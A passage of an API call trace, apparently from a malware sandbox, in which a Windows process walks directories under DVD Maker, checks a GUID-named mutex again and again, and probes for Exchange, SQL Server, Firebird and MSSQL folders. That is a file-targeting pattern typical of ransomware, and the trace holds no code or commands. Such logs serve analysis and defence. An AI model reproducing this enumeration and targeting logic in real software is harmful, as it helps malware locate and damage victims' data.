hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x708ceb11, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x708ceb11, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0058.393] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.393] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.393] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.393] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.393] GlobalUnlock (hMem=0x44000c) returned 0 [0058.393] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.394] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.394] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.394] GlobalUnlock (hMem=0x44000c) returned 0 [0058.394] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.394] GlobalUnlock (hMem=0x440004) returned 0 [0058.394] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.394] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70810440, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70810440, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0058.394] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.394] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.394] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.394] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.394] GlobalUnlock (hMem=0x440004) returned 0 [0058.394] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.394] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.394] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.394] GlobalUnlock (hMem=0x440004) returned 0 [0058.394] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.394] GlobalUnlock (hMem=0x44000c) returned 0 [0058.394] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.394] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7083659d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7083659d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0058.394] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.394] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.394] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.394] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.394] GlobalUnlock (hMem=0x44000c) returned 0 [0058.394] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.394] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.394] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.395] GlobalUnlock (hMem=0x44000c) returned 0 [0058.395] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.395] GlobalUnlock (hMem=0x440004) returned 0 [0058.395] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.395] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x707c4186, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x707c4186, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0058.395] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.395] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.395] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.395] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.395] GlobalUnlock (hMem=0x440004) returned 0 [0058.395] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.395] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.395] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.395] GlobalUnlock (hMem=0x440004) returned 0 [0058.395] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.395] GlobalUnlock (hMem=0x44000c) returned 0 [0058.395] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.395] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7079e029, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7079e029, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0058.395] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.395] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.395] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.395] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.395] GlobalUnlock (hMem=0x44000c) returned 0 [0058.395] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.395] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.395] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.395] GlobalUnlock (hMem=0x44000c) returned 0 [0058.395] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.396] GlobalUnlock (hMem=0x440004) returned 0 [0058.396] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.396] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x707ea2e3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x707ea2e3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efc9a7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0058.396] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.396] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.396] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.396] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.396] GlobalUnlock (hMem=0x440004) returned 0 [0058.396] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.396] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.396] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.396] GlobalUnlock (hMem=0x440004) returned 0 [0058.396] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.396] GlobalUnlock (hMem=0x44000c) returned 0 [0058.396] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.396] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70940f28, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70940f28, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efc9a7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x84ca6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Panel_Mask.wmv", cAlternateFileName="")) returned 1 [0058.396] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.396] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.396] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.396] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.396] GlobalUnlock (hMem=0x44000c) returned 0 [0058.396] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.396] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.396] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.396] GlobalUnlock (hMem=0x44000c) returned 0 [0058.396] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.396] GlobalUnlock (hMem=0x440004) returned 0 [0058.397] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.397] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x709b333f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x709b333f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f0d440f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x84702, dwReserved0=0x0, dwReserved1=0x0, cFileName="Panel_Mask_PAL.wmv", cAlternateFileName="")) returned 1 [0058.397] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.397] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.397] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.397] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.397] GlobalUnlock (hMem=0x440004) returned 0 [0058.397] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.397] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.397] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.397] GlobalUnlock (hMem=0x440004) returned 0 [0058.397] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.397] GlobalUnlock (hMem=0x44000c) returned 0 [0058.397] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.397] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x709b333f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x709b333f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f0d440f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x84702, dwReserved0=0x0, dwReserved1=0x0, cFileName="Panel_Mask_PAL.wmv", cAlternateFileName="")) returned 0 [0058.397] GetLastError () returned 0x12 [0058.397] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0058.397] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e91e8b0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e91e8b0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="scene_button_style_default_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0058.397] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0058.398] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0058.398] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.398] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.398] GlobalUnlock (hMem=0x44000c) returned 0 [0058.398] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.398] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.398] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.398] GlobalUnlock (hMem=0x44000c) returned 0 [0058.398] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.398] GlobalUnlock (hMem=0x440004) returned 0 [0058.398] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.398] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8d25f6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8d25f6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd86, dwReserved0=0x0, dwReserved1=0x0, cFileName="shadowonlyframe_buttongraphic.png", cAlternateFileName="")) returned 1 [0058.398] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0058.398] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0058.398] GlobalLock (hMem=0x440004) returned 0x550170 [0058.398] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.398] GlobalUnlock (hMem=0x440004) returned 0 [0058.398] GlobalLock (hMem=0x440004) returned 0x550170 [0058.398] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.398] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.398] GlobalUnlock (hMem=0x440004) returned 0 [0058.398] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.398] GlobalUnlock (hMem=0x44000c) returned 0 [0058.398] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.398] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8f8753, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8f8753, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="shadowonlyframe_selectionsubpicture.png", cAlternateFileName="")) returned 1 [0058.398] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0058.398] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0058.399] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.399] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.399] GlobalUnlock (hMem=0x44000c) returned 0 [0058.399] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.399] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.399] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.399] GlobalUnlock (hMem=0x44000c) returned 0 [0058.399] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.399] GlobalUnlock (hMem=0x440004) returned 0 [0058.399] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.399] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8ac499, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8ac499, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="shadowonlyframe_videoinset.png", cAlternateFileName="")) returned 1 [0058.399] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0058.399] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0058.399] GlobalLock (hMem=0x440004) returned 0x550170 [0058.399] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.399] GlobalUnlock (hMem=0x440004) returned 0 [0058.399] GlobalLock (hMem=0x440004) returned 0x550170 [0058.399] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.399] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.399] GlobalUnlock (hMem=0x440004) returned 0 [0058.399] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.399] GlobalUnlock (hMem=0x44000c) returned 0 [0058.399] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.399] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4d7984, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f4fdbf3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shatter", cAlternateFileName="")) returned 1 [0058.399] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0058.399] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0058.399] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.400] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.400] GlobalUnlock (hMem=0x44000c) returned 0 [0058.400] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.400] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.400] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.400] GlobalUnlock (hMem=0x44000c) returned 0 [0058.400] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.400] GlobalUnlock (hMem=0x440004) returned 0 [0058.400] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.400] GlobalLock (hMem=0x440004) returned 0x550170 [0058.400] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.400] GlobalUnlock (hMem=0x440004) returned 0 [0058.400] GlobalLock (hMem=0x440004) returned 0x550170 [0058.400] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.400] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.400] GlobalUnlock (hMem=0x440004) returned 0 [0058.400] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.400] GlobalUnlock (hMem=0x44000c) returned 0 [0058.400] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.400] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter", len=0x33 | out: pbstr=0x18edc4*="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter") returned 1 [0058.400] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.400] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.400] GlobalUnlock (hMem=0x44000c) returned 0 [0058.400] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.400] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.400] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.401] GlobalUnlock (hMem=0x44000c) returned 0 [0058.401] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.401] GlobalUnlock (hMem=0x440004) returned 0 [0058.401] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@妰U妄U企@\x18㾤Q\x18\x1b")) returned 0xffffffff [0058.403] GetLastError () returned 0x3 [0058.403] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\", cchLength=0x34 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\") returned 0x34 [0058.403] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0058.404] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\眵?\x18") returned 21 [0058.404] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꐬR䱠@夜U企@\x18권Q\x181")) returned 0xffffffff [0058.405] GetLastError () returned 0x2 [0058.405] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\", cchLength=0x34 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\") returned 0x34 [0058.405] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0058.405] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\眵?\x18") returned 9 [0058.406] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꐬR䱠@阜R企@\x18?T\x18;")) returned 0xffffffff [0058.407] GetLastError () returned 0x2 [0058.407] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\", cchLength=0x34 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter\\") returned 0x34 [0058.407] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0058.407] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", 